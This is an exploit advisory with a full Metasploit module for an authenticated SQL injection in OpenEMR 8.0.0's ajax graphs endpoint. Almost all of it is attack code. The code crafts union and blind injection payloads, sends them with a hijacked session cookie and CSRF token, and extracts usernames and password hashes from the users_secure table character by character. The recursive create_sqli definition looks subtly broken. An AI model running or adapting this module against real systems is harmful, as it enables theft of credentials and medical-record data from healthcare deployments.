📄 OpenEMR 8.0.0 Authenticated SQL Injection

======================================================================================================================
    | # Title     : OpenEMR 8.0.0 Authenticated SQL Injection via name Parameter in ajax/graphs.php                      |
    | # Author    : indoushka                                                                                            |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                     |
    | # Vendor    : https://www.open-emr.org/                                                                            |
    ======================================================================================================================
    
    [+] Summary    : A SQL injection vulnerability exists in OpenEMR version 8.0.0 within the ajax graphs library. The issue arises due to improper sanitization of the `name` parameter in the `library/ajax/graphs.php` endpoint, 
                     where user-controlled input is directly embedded into SQL queries.
                     An authenticated attacker can exploit this vulnerability to execute arbitrary SQL statements, allowing extraction of sensitive information such as user credentials from the backend database. 
    				 The flaw supports boolean-based, union-based, and time-based blind SQL injection techniques.
                     Successful exploitation requires a valid session cookie and CSRF token.
    				 
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::SQLi
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'OpenEMR 8.0.0 SQL Injection Vulnerability',
            'Description' => %q{
              This module exploits a SQL injection vulnerability in OpenEMR 8.0.0.
              The vulnerability exists in the ajax graphs library where user-supplied
              input in the 'name' parameter is directly concatenated into SQL queries
              without proper sanitization.
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-32127'],
              ['URL', 'https://www.open-emr.org/'],
              ['CWE', '89']
            ],
            'DisclosureDate' => '2026-03-21',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to OpenEMR', '/openemr/']),
          OptString.new('COOKIE', [true, 'Valid OpenEMR session cookie', '']),
          OptString.new('CSRF_TOKEN', [true, 'CSRF token for the session', '']),
          OptString.new('TABLE', [true, 'Table to extract data from', 'users_secure']),
          OptString.new('COLUMNS', [true, 'Columns to extract', 'username,password'])
        ])
    
        register_advanced_options([
          OptInt.new('SLEEP_TIME', [true, 'Time in seconds for time-based injection', 1])
        ])
      end
    
      def run
        unless session_cookie_valid?
          fail_with(Failure::NoAccess, 'Invalid or missing session cookie')
        end
    
        print_status("Exploiting SQL injection in OpenEMR 8.0.0")
    
        sqli = create_sqli
    
        unless sqli
          fail_with(Failure::Unknown, 'Failed to initialize SQLi object')
        end
    
        print_good("SQLi object initialized")
    
        table = datastore['TABLE']
        columns = datastore['COLUMNS'].split(',').map(&:strip)
    
        columns.each do |column|
          extract_column_data(sqli, table, column)
        end
      end
    
      def session_cookie_valid?
        cookie = datastore['COOKIE']
        return false if cookie.nil? || cookie.empty?
        true
      end
    
      def create_sqli
        create_sqli(dbms: MySQLi) do |payload|
    
          injection = "date, #{payload} FROM (SELECT 1 AS field_value) AS ld "
          injection << "JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 "
          injection << "UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 "
          injection << "UNION ALL SELECT ld.field_value AS date"
    
          encoded_injection = Rex::Text.uri_encode(injection)
    
          post_data = {
            'csrf_token_form' => datastore['CSRF_TOKEN'],
            'name' => encoded_injection,
            'table' => datastore['TABLE'] || 'LBF'
          }
    
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'library/ajax/graphs.php'),
            'cookie' => datastore['COOKIE'],
            'vars_post' => post_data
          })
    
          return nil unless res && res.body
    
          return nil if res.body.include?('SQL Statement failed')
    
          res
        end
      end
    
      def extract_column_data(sqli, table, column)
        print_status("Extracting data from #{table}.#{column}")
    
        row_count = sqli.run_sql("SELECT COUNT(*) FROM #{table}")
    
        row_count = row_count && row_count[0] ? row_count[0].to_s.to_i : 1
        print_status("Found #{row_count} row(s) in #{table}")
    
        row_count.times do |row_idx|
          print_status("Extracting #{table}.#{column} (row #{row_idx + 1})")
    
          length_payload = "SELECT LENGTH(#{column}) FROM #{table} LIMIT #{row_idx},1"
          length_result = sqli.run_sql(length_payload)
    
          string_length = length_result && length_result[0] ? length_result[0].to_s.to_i : 0
    
          if string_length == 0
            print_status("Fallback to time-based extraction")
            extracted = time_based_extraction(sqli, table, column, row_idx)
            print_good("Extracted (time-based): #{extracted}")
            next
          end
    
          print_status("String length: #{string_length}")
    
          extracted = ''
    
          (0...string_length).each do |pos|
            low = 32
            high = 126
    
            while low <= high
              mid = (low + high) / 2
    
              test_payload = "SELECT ASCII(SUBSTRING(#{column}, #{pos + 1}, 1)) > #{mid} FROM #{table} LIMIT #{row_idx},1"
              result = sqli.run_sql(test_payload)
    
              if result && result[0].to_i == 1
                low = mid + 1
              else
                high = mid - 1
              end
            end
    
            char_ascii = high
            char = char_ascii.chr
            extracted << char
    
            print_status("Character #{pos + 1}: #{char} (ASCII: #{char_ascii})")
          end
    
          print_good("Extracted #{table}.#{column}: #{extracted}")
    
          store_loot(
            'openemr.sql.extracted',
            'text/plain',
            rhost,
            "#{table}.#{column}: #{extracted}",
            "openemr_#{table}_#{column}.txt",
            "Extracted data"
          )
    
          @vuln_reported ||= false
          unless @vuln_reported
            report_vuln(
              host: rhost,
              port: rport,
              name: 'OpenEMR SQL Injection',
              refs: references
            )
            @vuln_reported = true
          end
        end
      end
    
      def time_based_extraction(sqli, table, column, row_idx)
        print_status("Using time-based extraction")
    
        length = 0
    
        (1..100).each do |i|
          test_payload = "SELECT IF(LENGTH(#{column}) >= #{i}, SLEEP(#{datastore['SLEEP_TIME']}), 0) FROM #{table} LIMIT #{row_idx},1"
    
          start_time = Time.now
          sqli.run_sql(test_payload)
          elapsed = Time.now - start_time
    
          if elapsed >= datastore['SLEEP_TIME']
            length = i
          else
            break
          end
        end
    
        extracted = ''
    
        (0...length).each do |pos|
          low = 32
          high = 126
    
          while low <= high
            mid = (low + high) / 2
    
            test_payload = "SELECT IF(ASCII(SUBSTRING(#{column}, #{pos + 1}, 1)) >= #{mid}, SLEEP(#{datastore['SLEEP_TIME']}), 0) FROM #{table} LIMIT #{row_idx},1"
    
            start_time = Time.now
            sqli.run_sql(test_payload)
            elapsed = Time.now - start_time
    
            if elapsed >= datastore['SLEEP_TIME']
              low = mid + 1
            else
              high = mid - 1
            end
          end
    
          char_value = high
          extracted << char_value.chr
        end
    
        extracted
      end
    
      def run_host(_ip)
        run
      rescue Rex::ConnectionError => e
        print_error("Connection failed: #{e.message}")
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================